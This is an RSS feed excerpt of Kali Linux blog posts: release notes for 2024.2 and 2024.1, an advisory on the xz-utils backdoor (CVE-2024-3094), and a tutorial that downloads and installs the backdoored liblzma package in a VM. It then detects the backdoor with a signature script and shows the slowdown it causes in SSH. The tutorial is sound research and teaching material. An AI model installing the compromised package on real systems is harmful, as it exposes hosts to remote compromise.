&lt;p>With all of this, &lt;strong>5x new &lt;a href="https://nethunter.kali.org/kernels.html">Kali NetHunter kernels&lt;/a>&lt;/strong> covering:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Huawei P9&lt;/strong> for LineageOS 16&lt;/li>
&lt;li>&lt;strong>Nothing Phone 1&lt;/strong> for Android 12, 13 &amp;amp; 14&lt;/li>
&lt;li>&lt;strong>Poco F3&lt;/strong> for Android 14&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-2-release/images/nethunter_poco_f3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-2-release/images/nethunter_poco_f3.png" alt="Poco F3" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-arm-sbc-updates">Kali ARM SBC Updates&lt;/h2>
&lt;p>Kali on ARM Single Board Computer (SBC) devices has also received a few changes:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/gateworks-newport/">Gateworks Newport&lt;/a> kernel updated to 5.15&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-5/">Raspberry Pi 5&lt;/a> kernel updated to 6.1.77&lt;/li>
&lt;li>Unfortunately we cannot provide support for &lt;a href="https://www.kali.org/docs/arm/gateworks-ventana/">Gateworks Ventana&lt;/a>, and as a result no longer are able to offer a pre-built image&lt;/li>
&lt;/ul>
&lt;h3 id="kali-documentation">Kali Documentation&lt;/h3>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had several updates to existing pages as well as new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/cloud/aws/">AWS&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/dual-boot/">Fixing Dual Boot&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">Install NVIDIA GPU Drivers&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-host/">Installing VirtualBox on Kali (Host)&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-vmware-host/">Installing VMware on Kali (Host)&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-proxmox-guest-vm/">Kali inside Proxmox (Guest VM)&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/porting-nethunter-kernel-builder/">Porting NetHunter to New Devices with kernel builder&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/updating-a-package/">Updating a Package&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;/ul>
&lt;h3 id="kali-blog-recap">Kali Blog Recap&lt;/h3>
&lt;p>Since 2024.1, there was a lot of activity around &lt;code>xz-utils&lt;/code>, which is why we published the following &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/about-the-xz-backdoor/">All about the xz-utils backdoor&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/xz-backdoor-getting-started/">xz-utils backdoor: how to get started&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release, and we wanted to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;p>&lt;strong>Packaging&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://x.com/arszilla">Arszilla&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://x.com/casterbyte">Caster&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Kali Documentation&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/Arszilla">Arszilla&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/matir">David Tomaschik&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/EDLLT">EDLLT&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/FalseProfit">FalseProfit&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/gad3r">gader&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/bootorder">Henrik Lund&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/janerysavy17">Jane Rysavy&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Fetti.Wop">Jordan&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/netlag">Net LAG&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/prplhaz4">prplhaz4&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/melotheo">Theo Melo&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/X0RW3LL">X0RW3LL&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/bigdipper553">Zachary Miller&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Tool Documentation&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/psiinon">Simon Bennetts&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Support&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty_&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Kali is open-source, allowing YOU to help out. Anyone is able to get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h3 id="new-kali-mirrors">New Kali Mirrors&lt;/h3>
&lt;p>During this release cycle, we welcomed &lt;strong>7 new mirrors&lt;/strong>! Thanks to all of you who reached out and helped with distributing Kali around the world.&lt;/p>
&lt;p>So we have &lt;em>3 new mirrors&lt;/em> in North America:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Canada&lt;/strong>: &lt;a href="https://kali.mirror.rafal.ca/kali/">kali.mirror.rafal.ca&lt;/a>&lt;/li>
&lt;li>&lt;strong>US&lt;/strong>: &lt;a href="https://mirror.math.princeton.edu/pub/kali/">mirror.math.princeton.edu&lt;/a> sponsored by the &lt;a href="https://www.math.princeton.edu/">Princeton University, Department of Mathematics&lt;/a> and thanks to Benjamin Rose&lt;/li>
&lt;li>&lt;strong>US&lt;/strong>: &lt;a href="https://ftp2.osuosl.org/pub/kali-images/">ftp2.osuosl.org&lt;/a> sponsored by the &lt;a href="https://osuosl.org/">Oregon State University Open Source Lab (OSUOSL)&lt;/a> and thanks to Lance Albertson&lt;/li>
&lt;/ul>
&lt;p>Then &lt;em>3 new mirrors&lt;/em> in Asia:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Singapore&lt;/strong>: &lt;a href="https://mirror.freedif.org/kali/">mirror.freedif.org&lt;/a>&lt;/li>
&lt;li>&lt;strong>Taiwan&lt;/strong>: &lt;a href="https://free.nchc.org.tw/kali/">free.nchc.org.tw&lt;/a> sponsored by the &lt;a href="https://www.nchc.org.tw/en/">National Center for High-Performance Computing&lt;/a> and thanks to Ceasar Sun&lt;/li>
&lt;li>&lt;strong>Taiwan&lt;/strong>: &lt;a href="https://mirror.twds.com.tw/kali/">mirror.twds.com.tw&lt;/a> sponsored by &lt;a href="https://www.twds.com.tw/">Taiwan Digital Streaming Co.&lt;/a> and thanks to Jasper Yu&lt;/li>
&lt;/ul>
&lt;p>And finally, the &lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#introducing-the-micro-mirror-free-software-cdn">Micro Mirror CDN&lt;/a> provided us with a new mirror in Europe:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Switzerland&lt;/strong>: &lt;a href="https://ipng.mm.fcix.net/kali-images/">ipng.mm.fcix.net&lt;/a> sponsored by &lt;a href="https://ipng.ch/">IPng Networks&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>If you have the disk space and bandwidth, &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="kali-team-discord-chat">Kali Team Discord Chat&lt;/h2>
&lt;p>We are keeping the tradition going and doing another hour long voice chat with the Kali team and community. If you want your questions answered or your ideas heard, this is the place for it! &lt;em>We just hope they are related to Kali or the information security industry&lt;/em>.&lt;/p>
&lt;p>The next session will happen a week after the release, &lt;strong>Friday, 21st June 2024 17:00 -&amp;gt; 18:00 &lt;a href="https://time.is/compare/0500PM_21_June_2024_in_UTC">UTC/+0 GMT&lt;/a>&lt;/strong> on &lt;a href="https://discord.com/servers/offsec-780824470113615893">OffSec’s Discord&lt;/a>.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://discord.gg/invite/offsec">Discord invite&lt;/a>&lt;/li>
&lt;li>&lt;a href="./Kali-Discord-2024.2.ics">iCalendar invite&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Please note, we will not be recording this event - it is live only.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="get-kali-linux-20242">Get Kali Linux 2024.2&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? &lt;a href="https://www.kali.org/get-kali/">Get Kali&lt;/a>!&lt;/p>
&lt;p>For those who are new to Kali Linux, you may not be aware that we also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong>, which are also available for download. If you are eager to get the latest packages and bug fixes without waiting for our next release, the weekly image is a great option.
This will save you from having to do more updates later on.
&lt;em>However, please note that these weekly builds are automated and have not undergone the same level of testing as our &lt;a href="https://www.kali.org/releases/">standard release images&lt;/a>. We still appreciate any &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> you may have, as we want to address any issues before our next release.&lt;/em>&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a> it by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2024.2.
We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2024.2&amp;quot;
VERSION_ID=&amp;quot;2024.2&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.6.15-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>If you encounter any issues or bugs in Kali, please report them to our dedicated &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. Your feedback is crucial in helping us identify and fix problems. Remember, we can not fix what we do not know is broken! &lt;strong>Do not rely on social media to report bugs; instead, use our official bug tracker to ensure your issues are properly documented and addressed.&lt;/strong>&lt;/p>
&lt;p>Want to keep up-to-date easier? We&amp;rsquo;ve got you!&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/">Blog&lt;/a>? Use our &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a>&lt;/li>
&lt;li>Download? We have a &lt;a href="https://www.kali.org/torrents.xml">Torrent RSS feed&lt;/a>&lt;/li>
&lt;li>Socials? &lt;a href="https://www.facebook.com/KaliLinux/">Facebook&lt;/a>, &lt;a href="https://www.instagram.com/kalilinux/">Instagram&lt;/a>, &lt;a href="https://infosec.exchange/@kalilinux">Mastodon&lt;/a> &amp;amp; &lt;a href="https://x.com/kalilinux">Twitter/X&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>xz-utils backdoor: how to get started</title><link>https://www.kali.org/blog/xz-backdoor-getting-started/</link><guid isPermaLink="true">https://www.kali.org/blog/xz-backdoor-getting-started/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/xz-backdoor-getting-started/images/xz-backdoor-getting-started.jpg" type="image/jpg"/><description>&lt;p>Following the recent disclosure of a &lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">backdoor in upstream xz/liblzma&lt;/a>, we are writing this &amp;ldquo;get started&amp;rdquo; kind of blog post. We will explain how to setup an environment with the backdoored version of liblzma, and then the first commands to run to validate that the backdoor is installed. All in all, it should just take a few minutes, and there&amp;rsquo;s no learning curve, it&amp;rsquo;s all very simple.&lt;/p>
&lt;p>This blog post is aimed at all the enthusiasts that are following the news as the events unfold, and who are eager to have their hands on the keyboard, running a few commands in a terminal rather than just reading about it. This is really beginner level, and we&amp;rsquo;ll just reproduce the easiest findings that were reported in the initial disclosure. Nothing groundbreaking here, sorry ;)&lt;/p>
&lt;h2 id="setting-up-the-environment">Setting up the environment&lt;/h2>
&lt;p>First thing first: we&amp;rsquo;re going to need a Virtual Machine (or VM for short). The fastest is probably to just download a pre-built image from the &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">Kali Linux download page&lt;/a>, either the &lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/">current 2024.1 release&lt;/a> or the latest weekly image, at your preference.&lt;/p>
&lt;p>When the image is downloaded, let&amp;rsquo;s start it. Don&amp;rsquo;t know how? We have documentation for each type of image: &lt;a href="https://www.kali.org/docs/virtualization/import-premade-virtualbox/">VirtualBox&lt;/a>, &lt;a href="https://www.kali.org/docs/virtualization/import-premade-vmware/">VMware&lt;/a> and &lt;a href="https://www.kali.org/docs/virtualization/import-premade-hyperv/">Hyper-V&lt;/a>. For &lt;a href="https://www.kali.org/docs/virtualization/install-qemu-guest-vm/">QEMU&lt;/a>, its simple enough to create a new VM.&lt;/p>
&lt;p>Now our VM is up and running, so we&amp;rsquo;re going to download and install a version of &lt;code>liblzma&lt;/code> that contains the backdoor. Even though the package was pulled out of Linux distributions, it&amp;rsquo;s still widely available on the Internet. For this how-to, we&amp;rsquo;re going to get it from the &lt;a href="https://snapshot.debian.org/">Debian snapshot service&lt;/a>. Since Kali is based on Debian, and liblzma only depends on the libc, it&amp;rsquo;s Ok to install the Debian package in Kali, we shouldn&amp;rsquo;t run into any incompatibility issue.&lt;/p>
&lt;p>A note for clarity: xz-utils is the name of the upstream repository, it provides the well-known command &lt;code>xz&lt;/code> to compress and decompress files, but it also provides the library &lt;code>liblzma&lt;/code> , which is the compromised library that everyone is talking about at the moment. And it is via this library that a backdoor gets added to the SSH daemon&amp;hellip; Clear?&lt;/p>
&lt;p>The upstream versions &lt;code>5.6.0&lt;/code> and &lt;code>5.6.1&lt;/code> of xz-utils are known to contain the backdoor, so let&amp;rsquo;s grab the Debian package &lt;code>5.6.1-1&lt;/code>.&lt;/p>
&lt;p>Within the VM, let&amp;rsquo;s open a terminal and get it with:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/liblzma5_5.6.1-1_amd64.deb
&lt;/code>&lt;/pre>
&lt;p>And now let&amp;rsquo;s install the package:&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
A word of caution for those who are not paying attention: below, we are purposefully installing a package that contains a backdoor! Obviously you are running those steps in a Virtual Machine, and this Virtual Machine is not exposed to the Internet.
&lt;/p>
&lt;/div>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo apt-get install --allow-downgrades --yes ./liblzma5_5.6.1-1_amd64.deb
&lt;/code>&lt;/pre>
&lt;p>Next step is to start (or restart) the SSH daemon:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo systemctl restart ssh
&lt;/code>&lt;/pre>
&lt;p>What&amp;rsquo;s next? Let&amp;rsquo;s find out!&lt;/p>
&lt;h2 id="confirm-that-liblzma-is-compromised">Confirm that liblzma is compromised&lt;/h2>
&lt;p>First, we can detect if the version of liblzma contains the backdoor, thanks to a script from Vegard Nossum, that was &lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">provided in the disclosure&lt;/a>.&lt;/p>
&lt;p>Let&amp;rsquo;s create the script:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ cat &amp;lt;&amp;lt; 'EOF' &amp;gt; detect.sh
#! /bin/bash
set -eu
# find path to liblzma used by sshd
path=&amp;quot;$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')&amp;quot;
# does it even exist?
if [ &amp;quot;$path&amp;quot; == &amp;quot;&amp;quot; ]
then
echo probably not vulnerable
exit
fi
# check for function signature
if hexdump -ve '1/1 &amp;quot;%.2x&amp;quot;' &amp;quot;$path&amp;quot; | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
echo probably vulnerable
else
echo probably not vulnerable
fi
EOF
&lt;/code>&lt;/pre>
&lt;p>Make it executable, and then run it:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ chmod +x detect.sh
kali@kali:~$
kali@kali:~$ ./detect.sh
probably vulnerable
&lt;/code>&lt;/pre>
&lt;p>The output from the command above should be &lt;code>probably vulnerable&lt;/code>, meaning that the backdoor was detected in the library.&lt;/p>
&lt;p>But wait, how does that work? The command &lt;code>hexdump -ve '1/1 &amp;quot;%.2x&amp;quot;' &amp;lt;&amp;lt;file&amp;gt;&amp;gt;&lt;/code> will dump a file in hexadecimal form, without any formatting, just a looooong hexa string. The script does that with liblzma, and then matches a pattern (also in hexadecimal form) that belongs to the exploit. That&amp;rsquo;s all there is to it, and it&amp;rsquo;s enough to detect it.&lt;/p>
&lt;h2 id="confirm-that-the-ssh-daemon-is-slower-than-usual">Confirm that the SSH daemon is slower than usual&lt;/h2>
&lt;p>First, for this test we need to make sure that password authentication is disabled, in the settings of the SSH daemon:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo sed -E -i 's/^#?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config
&lt;/code>&lt;/pre>
&lt;p>Then restart the daemon:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo systemctl restart ssh
&lt;/code>&lt;/pre>
&lt;p>And now, let&amp;rsquo;s try to login as a non existant user, and time it:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ time ssh nonexistant@localhost
nonexistant@localhost: Permission denied (publickey).
real 0.31s
user 0.05s
sys 0.00s
cpu 17%
&lt;/code>&lt;/pre>
&lt;p>There&amp;rsquo;s no &amp;ldquo;right value&amp;rdquo; here, as it&amp;rsquo;s highly dependent on your particular setup. However, what we want is to get an idea of how much time it takes, so let&amp;rsquo;s run the command a couple of times, to make sure that the results are consistent. In my tests, results are indeed very consistent, I get &lt;code>real 0.30s&lt;/code> almost all the time.&lt;/p>
&lt;p>Now let&amp;rsquo;s re-install the non-backdoored version of liblzma:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install --yes liblzma5
[...]
Get:1 http://http.kali.org/kali kali-rolling/main amd64 liblzma5 amd64 5.6.1+really5.4.5-1 [240 kB]
[...]
&lt;/code>&lt;/pre>
&lt;p>At the time of this writing, the version of the &lt;code>lzma5&lt;/code> package in Kali rolling is &lt;code>5.6.1+really5.4.5-1&lt;/code>, as shown above.&lt;/p>
&lt;p>Now, let&amp;rsquo;s try the SSH login again, and time it:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ time ssh nonexistant@localhost
nonexistant@localhost: Permission denied (publickey).
real 0.13s
user 0.05s
sys 0.00s
cpu 41%
&lt;/code>&lt;/pre>
&lt;p>As we can see, the difference in timings is pretty clear, it&amp;rsquo;s much faster without the backdoor!&lt;/p>
&lt;h2 id="acknowledgments">Acknowledgments&lt;/h2>
&lt;p>As said in the introduction, this blog post is nothing new, it&amp;rsquo;s merely a step-by-step to reproduce some findings from the &lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">original disclosure&lt;/a>. All the credits (massive credits actually) go to Andres Freund for the fantastic work and detailed report, and Vegard Nossum for the &lt;code>detect.sh&lt;/code> script.&lt;/p></description></item><item><title>All about the xz-utils backdoor</title><link>https://www.kali.org/blog/about-the-xz-backdoor/</link><guid isPermaLink="true">https://www.kali.org/blog/about-the-xz-backdoor/</guid><pubDate>Fri, 29 Mar 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/about-the-xz-backdoor/images/xz-utils.jpg" type="image/jpg"/><description>
&lt;div class="notices info">
&lt;p data-header="Info">
As of 5:00 pm ET on March 29, 2024 the following information is accurate. Should there be updates to this situation, they will be edited onto this blog post.
&lt;/p>
&lt;/div>
&lt;p>The &lt;a href="https://pkg.kali.org/pkg/xz-utils">xz-utils package&lt;/a>, starting from versions 5.6.0 to 5.6.1, was found to &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-3094">contain a backdoor (CVE-2024-3094)&lt;/a>. This backdoor could potentially allow a malicious actor to compromise sshd authentication, granting unauthorized access to the entire system remotely.&lt;/p>
&lt;p>With a library this widely used, the severity of this vulnerability poses a threat to the entire Linux ecosystem. Luckily, this issue was caught quickly so the impact was significantly less than it could have been. It has already been patched in Debian, and therefore, Kali Linux.&lt;/p>
&lt;p>The impact of this vulnerability affected Kali between March 26th to March 29th, during which time &lt;a href="https://pkg.kali.org/news/578094/xz-utils-560-02-imported-into-kali-rolling/">xz-utils 5.6.0-0.2&lt;/a> was available. If you updated your Kali installation on or after March 26th, but before March 29th, it is crucial to apply the latest updates today to address this issue. However, if you did not update your Kali installation before the 26th, you are not affected by this backdoor vulnerability.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/about-the-xz-backdoor/images/pkg-kali-xz-utils.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/about-the-xz-backdoor/images/pkg-kali-xz-utils.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Should you wish to check if you have the vulnerable version installed, we can perform the following command:&lt;/p>
&lt;pre>&lt;code>kali@kali:~$ apt-cache policy liblzma5
liblzma5:
 Installed: 5.4.5-0.3
 Candidate: 5.6.1+really5.4.5-1
 Version table:
    5.6.1+really5.4.5-1 500
       500 http://kali.download/kali kali-rolling/main amd64 Packages
*** 5.4.5-0.3 100
       100 /var/lib/dpkg/status
&lt;/code>&lt;/pre>
&lt;p>If we see the version &lt;code>5.6.0-0.2&lt;/code> next to &lt;strong>Installed:&lt;/strong> then we &lt;em>must&lt;/em> upgrade to the latest version, &lt;code>5.6.1+really5.4.5-1&lt;/code>. We can do this with the following commands:&lt;/p>
&lt;pre>&lt;code>kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install -y --only-upgrade liblzma5
...
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>More information can be found at &lt;a href="https://www.helpnetsecurity.com/2024/03/29/cve-2024-3094-linux-backdoor/">Help Net Security&lt;/a> for a summarized post on the details of the vulnerability, &lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">Openwall&lt;/a> for the initial disclosure, and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-3094">NIST&amp;rsquo;s NVD&lt;/a> entry for this vulnerability.&lt;/p></description></item><item><title>Kali Linux 2024.1 Release (Micro Mirror)</title><link>https://www.kali.org/blog/kali-linux-2024-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2024-1-release/</guid><pubDate>Wed, 28 Feb 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2024-1-release/images/banner-2024.1-release.jpg" type="image/jpg"/><description>&lt;p>Hello 2024! Today we are unveiling &lt;strong>Kali Linux 2024.1&lt;/strong>. As this is our the first &lt;a href="https://www.kali.org/releases/">release&lt;/a> of the year, it does include new visual elements! Along with this we also have some exciting new mirrors to talk about, and of course some package changes - both new tools and upgrades to existing ones. If you want to see the new theme for yourself and maybe try out one of those new mirrors, &lt;a href="https://www.kali.org/get-kali/">download a new image&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrade &lt;em>if you have an existing Kali Linux installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/">2023.4 release from December&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#introducing-the-micro-mirror-free-software-cdn">Micro Mirror Free Software CDN&lt;/a>&lt;/strong> - FCIX Software Mirror reached out offering to host our images, and we said yes&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#2024-theme-refresh">2024 Theme Refresh&lt;/a>&lt;/strong> - Our yearly theme refresh with all new wallpapers and GRUB theme&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#other-desktop-changes">Other Desktop Environment Changes&lt;/a>&lt;/strong> - A few new tweaks to our default environments&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#kali-nethunter-updates">NetHunter Updates&lt;/a>&lt;/strong> - NetHunter Rootless for Android 14, Bad Bluetooth HID attacks, and other updates&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - As always, various new shiny tools!&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="introducing-the-micro-mirror-free-software-cdn">Introducing the Micro Mirror Free Software CDN&lt;/h2>
&lt;p>With this latest release of Kali Linux, our network of &lt;a href="https://http.kali.org/README?mirrorlist">community mirrors&lt;/a> grew much stronger, thanks to the help of the Micro Mirror CDN! Here&amp;rsquo;s the story.&lt;/p>
&lt;p>Last month we replied to a long-forgotten email from Kenneth Finnegan from the &lt;a href="https://mirror.fcix.net/">FCIX Software Mirror&lt;/a>. The FCIX is a rather big mirror located in California, and they reached out to offer to host the Kali images on their mirror. To which we answered yes please, and that was it; shortly after, the &lt;a href="https://mirror.fcix.net/kali-images/">Kali images were added to the FCIX mirror&lt;/a>. So far so good, and it could have been the end of the story, but then Kenneth followed up:&lt;/p>
&lt;blockquote>
&lt;p>We&amp;rsquo;re now also operating another 32 other mirrors which are optimized for minimal storage and hosting only the highest traffic projects [&amp;hellip;] Would the Kali project be willing to accept ten additional mirrors from the FCIX organization?&lt;/p>
&lt;/blockquote>
&lt;p>Wow, &lt;strong>10 additional mirrors&lt;/strong>, that sounds very nice indeed! But, wait, &lt;em>&lt;strong>32 mirrors&lt;/strong>&lt;/em>??? How come? Where do all those mirrors come from? That was intriguing. As it turns out, Kenneth operates a network of mirrors, which was officially announced back in May 2023 on his blog: &lt;a href="https://blog.thelifeofkenneth.com/2023/05/building-micro-mirror-free-software-cdn.html">Building the Micro Mirror Free Software CDN&lt;/a>. For anyone interested in Internet infrastructure, we encourage you to read it, that&amp;rsquo;s a well-written blog post right there, waiting for you.&lt;/p>
&lt;p>So what is the Micro Mirror CDN exactly? One-liner: a network of mirrors dedicated to serving Linux and Free Software. &lt;strong>Contrary to traditional mirrors that host around 50TB of project files, Micro Mirrors are machines with &amp;ldquo;only&amp;rdquo; a few TB of storage&lt;/strong>, that focus on hosting only the most high-demand projects. In other words: &lt;strong>they provide additional bandwidth where it&amp;rsquo;s needed the most&lt;/strong>. Another important difference with traditional mirrors is that those machines are not managed by the sponsor (the organization that funds the mirror). Usually, a sponsor provides the bandwidth, the mirror, and also administrates it. While here, the sponsor only provides the bandwidth, and it&amp;rsquo;s the FCIX Micro Mirror team that does everything else: buy the hardware, ship it to the data-center, and then manage it remotely via their &lt;a href="https://github.com/PhirePhly/micromirrors">public Ansible playbook&lt;/a>.&lt;/p>
